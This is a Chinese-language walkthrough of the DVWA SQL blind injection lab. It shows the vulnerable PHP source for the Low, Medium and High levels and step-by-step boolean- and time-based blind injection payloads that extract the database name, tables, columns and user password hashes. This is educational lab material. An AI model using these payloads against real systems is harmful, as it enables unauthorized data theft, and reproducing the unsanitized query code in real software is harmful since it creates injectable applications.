SQL 盲注介紹:
盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。盲注分為三類:基於布爾SQL盲注、基於時間的SQL盲注、基於報錯的SQL盲注。
盲注思路步驟:
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫中的表名
4.猜解表中的字段名
5.猜解數據
Low級:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
可以看到,Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞
User ID exists in the database. 顯示存在,
User ID is MISSING from the database. 顯示不存在
方法一:基於布爾盲注
1.判斷是否存在注入,注入類型
輸入 1, 輸出 exists
輸入 1' and 1=1 # ,輸出 exists
輸入 1' and 1=2 # ,輸出 MISSING
所以存在字符型的盲注。
2.猜數據庫名
先猜數據庫名長度:1' and length(database())=1 # ,顯示不存在 直到 1' and length(database())=4 # , 顯示存在。。說明庫名長度為4
然后采用二分法猜數據庫的名字。
輸入1' and ascii(substr(databse(),1,1))>88 #,顯示存在,說明數據庫名的第一個字符的ascii值大於88;
輸入1' and ascii(substr(databse(),1,1))<110 #,顯示存在,說明數據庫名的第一個字符的ascii值小於110;
直到猜到准確的數為止。我們通過試驗知道了,這里第一個ASCII值為100,ASCII的表去找對應的字母
輸入1' and ascii(substr(database(),2,1))>88 # —— 去找第二個字母 等等等
重復以上步驟,得到庫名為dvwa
3.猜解數據庫中的表名
先猜表的個數 1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ,輸出MISSING 不存在
接着 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #,輸出MISSING 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,輸出exists 存在
所以有兩個表,我們先猜第一個表的長度
輸入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,輸出MISSING
使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,輸出 exists
直到—— 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,輸出 exists,即第一個表名稱字符長為9。
現在猜第一個表的第一個字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
直到—— 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即對應的字母為g
然后我們再去猜其他的9個字母,為u、e、s、t、b、o、o、k,即為guestbook。
以及去猜第二個表
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #
。。。
第二個表為,users
4.猜列名
就直接拿 users表為例了。
先猜表中的字段數目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # (中間步驟省略了) 數目為 8
猜user表各個名稱,按照常規流程,從users表的第1個字段開始,對其猜解每一個組成字符,獲取到完整的第1個字段名稱...然后是第2/3/.../8個字段名稱。當字段數目較多、名稱較長的時候,若依然按照以上方式手工猜解,則會耗費比較多的時間。當時間有限的情況下,實際上有的字段可能並不太需要獲取,字段的位置也暫且不作太多關注,首先獲取幾個包含鍵信息的字段,如:用戶名、密碼...
【猜想】數據庫中可能保存的字段名稱
用戶名:username/user_name/uname/u_name/user/name/...
密碼:password/pass_word/pwd/pass/...
所以說我們的命令就可以是 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,輸出exists
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,輸出exists
所以我們可以知道 users表中有 user和password。還可以試試別的
5.猜表中的字段值
同樣使用二分法來做,直接寫最后一步了:
用戶名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,輸出exists
——說明user字段中第1個字段值的字符長度=5。
密碼的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,
——說明password字段中第1個字段值的字符長度=32(基本上這么長的密碼位數可能是用md5的加密方式保存的)
然后再使用二分法猜解user字段的值:(用戶名)
1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一個字符)
1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二個字符)
。。。。。
猜解password字段的值:(密碼)
1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一個字符)
。。。。。
方法二:基於時間盲注
1.判斷是否存在注入,注入是字符型還是數字型
輸入1' and sleep(5) #,感覺到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;
說明存在字符型的基於時間盲注。
2.猜解當前數據庫名
(前面猜的方法都有,直接給結果了):1' and if(length(database())=4,sleep(5),1) # 明顯延遲,說明數據庫名長度為4個字符。
然后二分法猜數據庫名:1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明顯延遲,說明數據庫第一個字符為 d。
重復上述步驟,可猜出數據庫名為 dvwa
3.猜解數據庫中的表名
首先猜解數據庫中表的數量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# ,說明有兩個表
然后猜第一個表名長度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,說明第一個表名長度為9
采用二分法即可猜解出表名。
4.猜解表中的列名
還是先猜users表中的列的數量:1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# ,明顯延遲,說明有8個列
然后猜第一個列名的長度:1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲,說明第一個列名為7個字符
再用二分法猜解。。。
5.猜解數據
同樣采用二分法來猜解,上面有過程。
(因為命令實在太多,而且成功與否的輸出情況都一樣,就沒截圖了)
Medium級:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
我們可以看到這種情況和前面的sql手工注入類似,可以用抓包修改id進行注入
這里就不再贅述了,可以參考上一篇文章,還有上面Low級的教程。
High級:
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基於時間的盲注。
同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。但是我們可以通過#將其注釋掉。
和前面的SQL注入一樣,但由於服務器端執行sleep函數,會使得基於時間盲注的准確性受到影響,這里我們只能使用基於布爾的盲注。
Low級有命令,可以自己試試。。